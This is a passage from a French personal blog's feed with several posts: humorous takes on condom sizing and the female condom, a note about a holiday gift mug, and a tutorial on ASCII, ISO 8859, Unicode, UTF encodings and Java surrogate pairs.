&lt;p&gt;Bref, l&amp;rsquo;on sait bien que l&amp;rsquo;on ne pense qu&amp;rsquo;à ça, à savoir aux filles, mais ce sont en général elles qui nous branchent (hola, &lt;em&gt;so ninetines&lt;/em&gt;). Bien sûr sans le savoir puisque c&amp;rsquo;est nous qui venons de Mars (et qui avons un cerveau composé de boites). La dernière aventure, c&amp;rsquo;est &lt;a href="http://www.google.be/search?hl=fr&amp;amp;safe=off&amp;amp;client=firefox-a&amp;amp;rls=org.mozilla%3Afr%3Aofficial&amp;amp;hs=Qda&amp;amp;q=facebook+couleur+soutien+gorge+cancer+sein+&amp;amp;btnG=Rechercher&amp;amp;meta=&amp;amp;aq=f&amp;amp;oq="&gt;en nous rabachant la couleur de leur soutien (sans jamais nous le montrer bien sûr)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Plus de raison de faire de jaloux car si les filles se comparent/vexent/rient… en parlant de la taille de leurs bonnets (je sais c&amp;rsquo;est nous qui en parlons en général), elles peuvent maintenant dire que leur copain fait du &lt;strong&gt;61A&lt;/strong&gt;, du &lt;strong&gt;54J&lt;/strong&gt; ou encore du &lt;strong&gt;69B&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Vous l&amp;rsquo;avez compris, avant lorsque l&amp;rsquo;on achetait des préservatifs on pouvait choisir &lt;em&gt;small&lt;/em&gt;, &lt;em&gt;medium&lt;/em&gt; ou &lt;em&gt;xl&lt;/em&gt; &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; et les filles, lorsqu&amp;rsquo;elles parlent de nous &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; ne pouvaient que dire des trucs du style:&lt;/p&gt;
&lt;p&gt;— Heu, c&amp;rsquo;est plus ou moins gros oui &amp;hellip; enfin je trouve.&lt;br&gt;
— Oui mais c&amp;rsquo;est quoi gros pour toi ?&lt;br&gt;
— Ben un peu comme ça…  &lt;/p&gt;
&lt;p&gt;Maintenant, vous pouvez choisir la taille de votre préservatif de manière beaucoup plus précise &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;. C&amp;rsquo;est &lt;em&gt;Coripa&lt;/em&gt; pour ne pas la citer, la marque de préservatif qui propose 50 tailles de préservatif. Cette taille dépend du diamètre et de la longueur de l&amp;rsquo;engin… il reste donc à mesurer… et à assumer.&lt;/p&gt;
&lt;p&gt;À l&amp;rsquo;heure où j&amp;rsquo;écris ces lignes &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt;, je ne peux pas vous donner la taille du mien mais je promet de la mesurer dès que je peux (grâce au gabarit fourni &lt;a href="/pdf/coripa_gabarit_de_mesureok.pdf"&gt;[pdf]&lt;/a&gt;) et d&amp;rsquo;&lt;strong&gt;écrire ça dans mon profil FB&lt;/strong&gt; histoire de ne pas être en reste avec les filles et leur couleur de soutien &lt;sup id="fnref:f5"&gt;&lt;a class="footnote-ref" href="#fn:f5"&gt;5&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;En avant, assumons notre 36N !&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;De mémoire car ça fait un bail que je n&amp;rsquo;en achète plus.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Si si elles parlent de « ça » aussi même si elles disent le contraire et si c&amp;rsquo;est (beaucoup) moins souvent&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Si les nombres ne sont pas parlant 61A c&amp;rsquo;est petit ou grand, c&amp;rsquo;est pour ne pas nous vexer. Comme si les garçons avaient l&amp;rsquo;habitude de jouer à qui pisse le plus loin !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;C&amp;rsquo;est surtout l&amp;rsquo;endroit d&amp;rsquo;où j&amp;rsquo;écris qui ne convient pas. Argh ! Je dois corriger mes copies.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f5"&gt;
&lt;p&gt;Ensuite, on essaiera de trouver un truc comme quoi c&amp;rsquo;est une campagne virale pour les tests précoces de détection de cancer de la prostate.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f5" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Cuni et tente Quechua</title><link href="http://blog.namok.be/2010-01-08-Cuni-et-tente-Quechua.html" rel="alternate"/><published>2010-01-08T00:00:00+01:00</published><updated>2010-01-08T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2010-01-08:/2010-01-08-Cuni-et-tente-Quechua.html</id><summary type="html">Quand la verve d'une fille rencontre le préservatif féminin.</summary><content type="html">&lt;p&gt;&lt;img alt="Une tente au bord d'un lac" src="/images/single_occupancy_by_ivanandreevich-d5eo4z1.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Attention cet article parle de sexe, pas de camping. Sur une source FB et un article du blog Zone érogène que je n&amp;rsquo;ai jamais lu.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Bref, revenons au titre « Cuni et tente Queshua ». Je dis &lt;em&gt;cuni&lt;/em&gt; parce que c&amp;rsquo;est une pratique sympathique mais l&amp;rsquo;article ne parle pas de pratiques sexuelles, il parle de contraception.&lt;/p&gt;
&lt;p&gt;Celles parmi vous (mes nombreuses lectrices ^^) qui se demandent si elles n&amp;rsquo;utiliseraient pas un préservatif féminin plutôt qu&amp;rsquo;autre chose doivent lire cet article &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; qui est une sorte de &lt;em&gt;how to&lt;/em&gt; du &lt;strong&gt;Femidon&lt;/strong&gt; (le préservatif féminin), rédigé par Éleusie.&lt;/p&gt;
&lt;p&gt;Je vais vous livrer ici quelques morceaux choisis.&lt;/p&gt;
&lt;p&gt;Pour celles et ceux qui voudraient s&amp;rsquo;en procurer, ça se trouve — qui l&amp;rsquo;eu cru — sur &lt;em&gt;Rue du commerce&lt;/em&gt; entre les disques dur et autres livres.&lt;/p&gt;
&lt;p&gt;Je cite l&amp;rsquo;article s&amp;rsquo;en vergogne pour ceux qui n&amp;rsquo;auraient pas le courage de le lire (ce qui serait très dommage).&lt;/p&gt;
&lt;p&gt;Pourquoi on parle de camping&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Au départ, je voulais voir quelle gueule ça avait : le premier a donc été sacrifié. Bon… Le verdict : c’est une tente Quechua pour stoukette.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Histoire de placement pour ceux qui trouvent qu&amp;rsquo;un préservatif masculin c&amp;rsquo;est chiant à mettre (quoique avec la bouche… mais qui connait une femme capable de le placer ainsi ;-) )&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Et c’est là que ça se corse. Pour ma part, mes doigts les plus longs mesurent une dizaine de centimètres. Or le bastringue, lui, mesure 17 cm de long. N’est pas E.T. qui veut.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt; &lt;/p&gt;
&lt;p&gt;Par conséquent, que je me démerde comme je veux, pas moyen de caler cette saloperie d’anneau au fond de mon vagin, vu que je me suis refusée à le faire progresser à l’aide de baguettes chinoises ; parce qu’il y a quand même le risque de le griffer. Oui, c’est pas en toile cirée, et c’est aussi fin qu’un préservatif masculin : à ce titre, on sent bien que ça ne demande qu&amp;rsquo;à se déchirer, même s’il est 40 % plus solide, d’après le fabricant.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;  &lt;/p&gt;
&lt;p&gt;Du coup, faut bien le dire, une fois en place, ça dépasse. Grave.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Je ne peux pas citer plus, il faut lire l&amp;rsquo;article, ça parle d&amp;rsquo;abricot sous blister, de popol à la poubelle, de « crounch crounch », de pilonnage à l&amp;rsquo;ancienne, etc. bref, l&amp;rsquo;auteure de l&amp;rsquo;article n&amp;rsquo;est pas pour l&amp;rsquo;utilisation de l&amp;rsquo;objet… mais qu&amp;rsquo;est-ce qu&amp;rsquo;elle raconte bien.&lt;/p&gt;
&lt;p&gt;Remarque que je ne m&amp;rsquo;y essaierais pas non plus, ça fait penser à ces histoires de bergers, de chèvres et de sac en plastique ^^&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://ivanandreevich.deviantart.com/art/Single-Occupancy-326971693"&gt;DeviantArt par Ivanandreedich&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Le lien est mort et pour être sur de ne pas le perdre, j&amp;rsquo;en fait un &lt;a href="/pdf/quechua-foufoune.pdf"&gt;PDF&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Fêtes de fin d'année</title><link href="http://blog.namok.be/2010-01-06-Fetes-de-fin-d-annee.html" rel="alternate"/><published>2010-01-06T00:00:00+01:00</published><updated>2010-01-06T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2010-01-06:/2010-01-06-Fetes-de-fin-d-annee.html</id><summary type="html">Cadeau « I love PBT »</summary><content type="html">&lt;p&gt;Les fêtes de fin d&amp;rsquo;année sont terminées, tout s&amp;rsquo;est bien passé, on a fêté et on a reçu des cadeaux. Je dépose ma wishlist (liste de souhaits) sur le site http://wishlist.com, c&amp;rsquo;est facile pour poster les articles mais c&amp;rsquo;est principalement pour « le fun ». J&amp;rsquo;ai, par exemple, demandé un &lt;em&gt;gPhone&lt;/em&gt; que je n&amp;rsquo;ai pas (encore) reçu.&lt;/p&gt;
&lt;p&gt;Par contre ça fait plusieurs années que, à partir d&amp;rsquo;une boutade avec des étudiants, j&amp;rsquo;ai proposé des articles « marrants » et (enfin) j&amp;rsquo;ai reçu mon super &lt;strong&gt;mug « I love pbt »&lt;/strong&gt; (&lt;em&gt;pbt&lt;/em&gt; étant mon acronyme à l&amp;rsquo;école). &lt;/p&gt;
&lt;p&gt;&lt;img alt="Photos de moi avec mon mug" src="/images/posterIlovepbt.png" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Ce qui est très drôle c&amp;rsquo;est que ce n&amp;rsquo;est pas un étudiant qui me l&amp;rsquo;offre — je ne suis pas instit maternel, je ne reçois pas de cadeau — mais ma belle-mère. &lt;/p&gt;
&lt;p&gt;Encore merci, ça fait fureur à la salle des profs ;-)&lt;/p&gt;</content></entry><entry><title>Unicode, UTF8, UTF16, UTF32… et tutti quanti</title><link href="http://blog.namok.be/2009-11-30-unicode-UTF8-UTF16-UTF32-et-tutti-quanti.html" rel="alternate"/><published>2009-11-30T00:00:00+01:00</published><updated>2009-11-30T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2009-11-30:/2009-11-30-unicode-UTF8-UTF16-UTF32-et-tutti-quanti.html</id><summary type="html">Unicode, UTF8, UTF16, UTF32… et tutti quanti</summary><content type="html">&lt;p&gt;Parfois, lorsqu&amp;rsquo;on lit un texte, les caractères que l&amp;rsquo;on voit s&amp;rsquo;afficher à l&amp;rsquo;écran ne sont pas ceux escomptés. Soit la personne qui a écrit le texte était saoul, soit il y a un problème &lt;strong&gt;d&amp;rsquo;encodage de caractère&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Ça c&amp;rsquo;est le départ de ma réflexion. À cela s&amp;rsquo;ajoute la magie des caractères accentués que l&amp;rsquo;on parvient à générer depuis quelques années (les plus jeunes comprendront que l&amp;rsquo;on n&amp;rsquo;y parvenait pas jadis) et des questions que posent mes étudiants pour savoir si « Java c&amp;rsquo;est de l&lt;strong&gt;&amp;lsquo;UTF-8&lt;/strong&gt; ou de l&lt;strong&gt;&amp;lsquo;UTF-16&lt;/strong&gt; parce que vous nous dites que c&amp;rsquo;est de l&lt;strong&gt;&amp;lsquo;Unicode&lt;/strong&gt; ». &lt;/p&gt;
&lt;p&gt;— Argh ! Que de vilains mots qu&amp;rsquo;il faut éclaircir.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="/images/letters_by_cedarbird-d4nurs5-1280.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Au commencement les ordinateurs ne «&amp;nbsp;comprennent&amp;nbsp;» qu&amp;rsquo;un seul jeu de caractères (&lt;strong&gt;charset&lt;/strong&gt;)&amp;nbsp;&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; assez limité (avec le
recul&amp;nbsp;&lt;strong&gt;post 2000&lt;/strong&gt;).&lt;/p&gt;
&lt;p&gt;Dans les années soixante, c&amp;rsquo;est la norme &lt;strong&gt;ASCII (American Standard Code for Information Interchange)&lt;/strong&gt; qui prévaut et qui comporte 128 codes. ASCII est &lt;strong&gt;codé sur 7 bits&lt;/strong&gt;. Dans ce codage, il n&amp;rsquo;est pas possible de coder les caractères &lt;strong&gt;accentués&lt;/strong&gt; (ni majuscules, ni minuscules) ce qui deviendra très vite insuffisant. Nous sommes fin des années soixante et «&amp;nbsp;pour ce prix là, on conserve sa machine à écrire&amp;nbsp;».&lt;/p&gt;
&lt;p&gt;&lt;img alt="ASCII" src="/images/1000px-ASCII-Table-wide.png"&gt;&lt;/p&gt;
&lt;p&gt;La première évolution vient de l&amp;rsquo;&lt;a href="//www.iso.org/iso/fr/home.htm"&gt;ISO&lt;/a&gt; qui propose des jeux de caractères étendus et &lt;strong&gt;différents&lt;/strong&gt; en fonction de la &lt;strong&gt;locale&lt;/strong&gt; (région, localisation) choisie. On pourra choisir, en Belgique, d&amp;rsquo;avoir en plus des caractères accentués (en minuscule) et des caractères tels que ;&lt;strong&gt;œ&lt;/strong&gt;, &lt;strong&gt;&amp;amp;&lt;/strong&gt;, &lt;strong&gt;Œ&lt;/strong&gt;, &lt;strong&gt;æ&lt;/strong&gt; voire &lt;strong&gt;€&lt;/strong&gt;. &lt;/p&gt;
&lt;p&gt;Les caractères &lt;strong&gt;ISO8859-1&lt;/strong&gt; (petit nom &lt;strong&gt;Latin 1&lt;/strong&gt; ou &lt;strong&gt;Europe occidentale&lt;/strong&gt;), &lt;strong&gt;ISO8859-15&lt;/strong&gt; (petit nom &lt;strong&gt;Latin-9&lt;/strong&gt;)… font leur apparition, ils sont &lt;strong&gt;codés sur 8 bits&lt;/strong&gt;. C&amp;rsquo;est déjà beaucoup mieux mais je serai obligé de choisir si ma machine comprend le jeu de caractères ISO8859-1 (autre petit nom &lt;strong&gt;us-US&lt;/strong&gt;) ou bien ISO8859-15 (autre petit nom &lt;strong&gt;fr-FR&lt;/strong&gt; ou &lt;strong&gt;fr-BE&lt;/strong&gt;) … ce qui se traduira parfois par des dialectes différents (&lt;strong&gt;Windows-1252&lt;/strong&gt; par exemple) suivant que je travaille avec une machine Linux ou Windows :-(&lt;/p&gt;
&lt;p&gt;Bref !&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui, on peut se permettre d&amp;rsquo;utiliser plusieurs bytes pour coder ses caractères et l&amp;rsquo;on veut que les applications soient portables et ne soient plus dépendantes de la &lt;strong&gt;locale&lt;/strong&gt; (la région ou simplement le choix de la langue) dans laquelle on les utilise. Il faut trouver un codage des caractères qui soit un &lt;strong&gt;surensemble&lt;/strong&gt; reprenant les caractères existants dans toutes les langues. &lt;/p&gt;
&lt;p&gt;La réponse c&amp;rsquo;est &lt;a href="//www.unicode.org/standard/WhatIsUnicode.html"&gt;l&amp;rsquo;Unicode&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Unicode provides a unique number for every character,&lt;br&gt;
no matter what the platform,&lt;br&gt;
no matter what the program,&lt;br&gt;
no matter what the language.  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Voilà, c&amp;rsquo;est facile, &lt;strong&gt;Unicode&lt;/strong&gt; est la réponse universelle et magique au
problème de codage de caractères. Un langage, un système, un programme qui
comprend l&amp;rsquo;unicode permettra de coder en utilisant n&amp;rsquo;importe quel caractère…&lt;/p&gt;
&lt;p&gt;— D&amp;rsquo;accord. Mais Unicode, c&amp;rsquo;est 2 octets ou 3 ou plus ? &lt;/p&gt;
&lt;p&gt;En fait, au départ, &lt;strong&gt;Unicode&lt;/strong&gt; était codé sur 16 bits mais dans sa version 2, c&amp;rsquo;est plutôt sur 21 bits.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The Unicode Standard encodes characters in the range U+0000,U+10FFFF, which is roughly a 21-bit code space.&lt;br&gt;
(&lt;a href="http://www.unicode.org/standard/principles.html"&gt;Unicode.org&lt;/a&gt;)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Comme certaines machines ont une architecture 32 bits et d&amp;rsquo;autres une architectures 64 bits. Comme certains sont &lt;strong&gt;big endian&lt;/strong&gt; et d&amp;rsquo;autre &lt;strong&gt;little endian&lt;/strong&gt;, représenter un grand nombre (simplement plus grand que 65535) peut se faire de différentes manières. On parlera alors de la façon de &lt;strong&gt;coder&lt;/strong&gt; ces caractères.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Unicode&lt;/em&gt; fournit un code (unique) à chaque caractère et UTF-8, UTF-16 ou UTF-32 fournissent une manière de représenter ces codes en termes de bytes.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Wikipédia nous dit,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Le terme codage de caractères est parfois confondu avec la façon dont les caractères sont représentés par une certaine séquence de bits, ce qui implique une forme de codage où le code entier est converti en plusieurs codets (c&amp;rsquo;est-à-dire des valeurs codées) entiers qui facilitent le stockage dans un système qui gère les données par groupe de bits de taille fixe.  &lt;/p&gt;
&lt;p&gt;Par exemple, les entiers plus grands que 65535 ne peuvent pas être représentés sur 16 bits, c&amp;rsquo;est pourquoi le codage UTF-16 représente ces grands entiers comme des couples d&amp;rsquo;entiers inférieurs à 65536 et qui ne sont pas associés à des caractères (par exemple, 10000 - en hexadécimal - devient D800 DC00).  &lt;/p&gt;
&lt;p&gt;Ce plan de codage convertit alors les valeurs de ces codes en une suite de bits et ce en prenant garde à un certain nombre de contraintes comme la dépendance vis-à-vis de la plateforme sur l&amp;rsquo;ordre final des octets (par exemple, D800 DC00 devient 00 D8 00 DC sur une architecture Intel x86).  &lt;/p&gt;
&lt;p&gt;Un jeu de caractères ou page de code abrège ce procédé en associant directement aux caractères abstraits des séquences de bits spécifiques. &lt;/p&gt;
&lt;p&gt;L&amp;rsquo;Unicode Technical Report #17 explique cette terminologie en profondeur et fournit davantage d&amp;rsquo;exemples.  &lt;/p&gt;
&lt;p&gt;&lt;a href="ttp://fr.wikipedia.org/wiki/Jeu_de_caractères"&gt;Wikipédia&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Et l&amp;rsquo;on trouve sur le site de référence d&amp;rsquo;unicode,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;UTF-8 is popular for HTML and similar protocols. UTF-8 is a way of 
transforming all Unicode characters into a variable length encoding of bytes.&lt;br&gt;
It has the advantages that the Unicode characters corresponding to the familiar ASCII set have the same byte values as ASCII, and that Unicode characters transformed into UTF-8 can be used with much existing software without extensive software rewrites.  &lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.unicode.org/standard/principles.html"&gt;Unicode.org&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;En &lt;strong&gt;UTF-8&lt;/strong&gt; le nombre de bytes utilisés varie de 1 à 4. Les caractères correspondant au codage ASCII sont codés sur 1 byte (les 7 bits ASCII sont précédés d&amp;rsquo;un bit nul)&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;. Les autres caractères sont codés sur 2,3 ou 4 bytes et les bits de poids fort précisent le nombre de bytes utilisés pour coder le caractère. &lt;/p&gt;
&lt;p&gt;&lt;a href="http://fr.wikipedia.org/wiki/UTF-8"&gt;UTF-8 en détail sur Wikipédia&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;UTF-16 is popular in many environments that need to balance efficient access to characters with economical use of storage. It is reasonably compact and all the heavily used characters fit into a single 16-bit code unit, while all other characters are accessible via pairs of 16-bit code units.  &lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.unicode.org/standard/principles.html"&gt;Unicode.org&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;En &lt;strong&gt;UTF-16&lt;/strong&gt; les caractères sont codés sur 16 ou 32 bits, 2 ou 4 bytes. De manière simple si le code représente une valeur ne dépassant pas 16 bits, le caractère est codé sur 16 bits sinon il sera codé sur 32 bits (le codage et le décodage se faisant en &lt;strong&gt;big endian&lt;/strong&gt;).&lt;/p&gt;
&lt;p&gt;&lt;a href="http://fr.wikipedia.org/wiki/UTF-16"&gt;UTF-16 en détail sur Wikipédia&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;UTF-32 is popular where memory space is no concern, but fixed width, single code unit access to characters is desired. Each Unicode character is encoded in a single 32-bit code unit when using UTF-32.&lt;br&gt;
&lt;a href="http://www.unicode.org/standard/principles.html"&gt;Unicode.org&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;En &lt;strong&gt;UTF-32&lt;/strong&gt;, c&amp;rsquo;est simple … et «&amp;nbsp;cher&amp;nbsp;». Chaque code unicode d&amp;rsquo;un caractère est codé sur 32 bits … toujours. Comme 32 bits suffisent, le mapping est immédiat.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://en.wikipedia.org/wiki/UTF-32/UCS-4"&gt;UTF-32 en détail sur Wikipédia (en)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;— Et Java?&lt;br&gt;
— Java utilise l&amp;rsquo;Unicode &amp;hellip; et le mappage UTF-16 (&lt;a href="http://unicode.org/faq/utf_bom.html#gen5"&gt;source Unicode.org&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Pour ce qui est de la représentation des &lt;code&gt;char&lt;/code&gt;, Java n&amp;rsquo;autorise que les caractères compris entre &lt;code&gt;U+0000&lt;/code&gt; et &lt;code&gt;U+FFFF&lt;/code&gt;, ce qui correspond bien à la taille d&amp;rsquo;un &lt;code&gt;char&lt;/code&gt; à savoir 2 bytes (et UTF-16 code &lt;strong&gt;ces&lt;/strong&gt; caractères là sur 2 bytes).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Character literals can only represent UTF-16 code units (§3.1), i.e., they are limited to values from &lt;code&gt;\u0000&lt;/code&gt; to &lt;code&gt;\uffff&lt;/code&gt;. Supplementary characters must be represented either as a surrogate pair within a char sequence, or as an integer, depending on the API they are used with. A character literal is always of type char.&lt;br&gt;
Extrait de Java language spécifications&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Allons un peu plus avant dans la lecture de &lt;em&gt;Java Langage Specifications&lt;/em&gt; en ce qui concerne l&amp;rsquo;Unicode, genre vers la page 13 de la spécification. &lt;/p&gt;
&lt;p&gt;Dans ses premières versions, Unicode code ses caractères sur 16 bits (à
savoir &lt;code&gt;\u0000&lt;/code&gt; à &lt;code&gt;\uFFFF&lt;/code&gt;) et tout va bien. Java décide d&amp;rsquo;utiliser le codage
UTF-16 et utilise 16 bits pour représenter ses caractères.&lt;/p&gt;
&lt;p&gt;Par la suite (dans ses versions 2.1), Unicode accroit le nombre de caractères qu&amp;rsquo;il peut représenter et utilise donc une plus grande plage de code &lt;code&gt;u+0000&lt;/code&gt; à &lt;code&gt;u+10FFFF&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Pour ce qui est des &lt;code&gt;String&lt;/code&gt;, Java utilise des caractères pour les représenter. Lorsqu&amp;rsquo;un caractère est un caractère de base (codé sur 16 bits), Java utilise un &lt;code&gt;char&lt;/code&gt; et lorsque c&amp;rsquo;est un caractère étendu, Java utilisera deux &lt;code&gt;char&lt;/code&gt;. En terme de code unicode, il faut utiliser &lt;strong&gt;deux&lt;/strong&gt; séquences d&amp;rsquo;échappement.&lt;/p&gt;
&lt;p&gt;Prenons le caractère &lt;sup id="fnref:3"&gt;&lt;a class="footnote-ref" href="#fn:3"&gt;3&lt;/a&gt;&lt;/sup&gt; 𝄞 (clé de sol) &lt;code&gt;U+1D11E&lt;/code&gt;. Pour pouvoir le représenter dans une chaine Java (pour rappel, je ne peux pas le stocker dans un &lt;code&gt;char&lt;/code&gt;), je dois faire la petite manipulation décrite chez &lt;a href="http://fr.wikipedia.org/wiki/Unicode"&gt;Wikipédia&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;retirer la valeur &lt;code&gt;0x10000&lt;/code&gt;&lt;br&gt;
&lt;code&gt;0xD11E&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;convertir en binaire et séparer les 10 bits de poid faible et les 10 bits de poid fort&lt;br&gt;
&lt;code&gt;0000110100 0100011110&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;ajouter &lt;code&gt;0XD800&lt;/code&gt; aux bits de poid &lt;strong&gt;ford&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;0xD800 + 0x34 = 0xD834&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;ajouter &lt;code&gt;0xDC00&lt;/code&gt; aux bits de poid &lt;strong&gt;faible&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;0xDC00 + 0x11E = 0xDD1E&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;la clé de sol sera représentable en Java par&lt;br&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;`\uD834\uDD1E`&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Ceci dit; lorsque l&amp;rsquo;on regarde les &lt;a href="http://www.unicode.org/charts/"&gt;tables Unicode&lt;/a&gt;, on constate qu&amp;rsquo;il y a déjà pas mal (65000) caractères de base … et ce n&amp;rsquo;est donc pas «&amp;nbsp;facile&amp;nbsp;» d&amp;rsquo;effectuer des tests avec des caractères étendus qui s&amp;rsquo;affichent dans mes terminaux …&lt;/p&gt;
&lt;p&gt;En espérant que ceci vous aura éclairé.&lt;/p&gt;
&lt;h4&gt;Sources / crédits&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://fr.wikipedia.org/wiki/Jeu_de_caractères"&gt;Wikipédia Jeu de caractères&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://fr.wikipedia.org/wiki/Unicode"&gt;Wikipédia, Unicode&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://fr.wikipedia.org/wiki/ISO_8859-1"&gt;Wikipédia ISO 8859-1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://fr.wikipedia.org/wiki/ISO_8859-15"&gt;Wikipédia ISO 8859-15&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://fr.wikipedia.org/wiki/Big_endian"&gt;Wikipédia Big Enddian&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.unicode.org/"&gt;Unicode, unicode.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://unicode.org/faq/utf_bom.html"&gt;Unicode, unicode.org FAQ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;La documentation Java de la classe &lt;a href="http://www.j2ee.me/javase/6/docs/api/java/lang/Character.html"&gt;Character&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://commons.wikimedia.org/wiki/File:ASCII-Table-wide.svg"&gt;Common wikimedia ASCII&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Crédit photo chez &lt;a href="http://deviantart.com"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://cedarbird.deviantart.com/art/Letters-281931557"&gt;Cedarbird&lt;/a&gt;&lt;/li&gt;
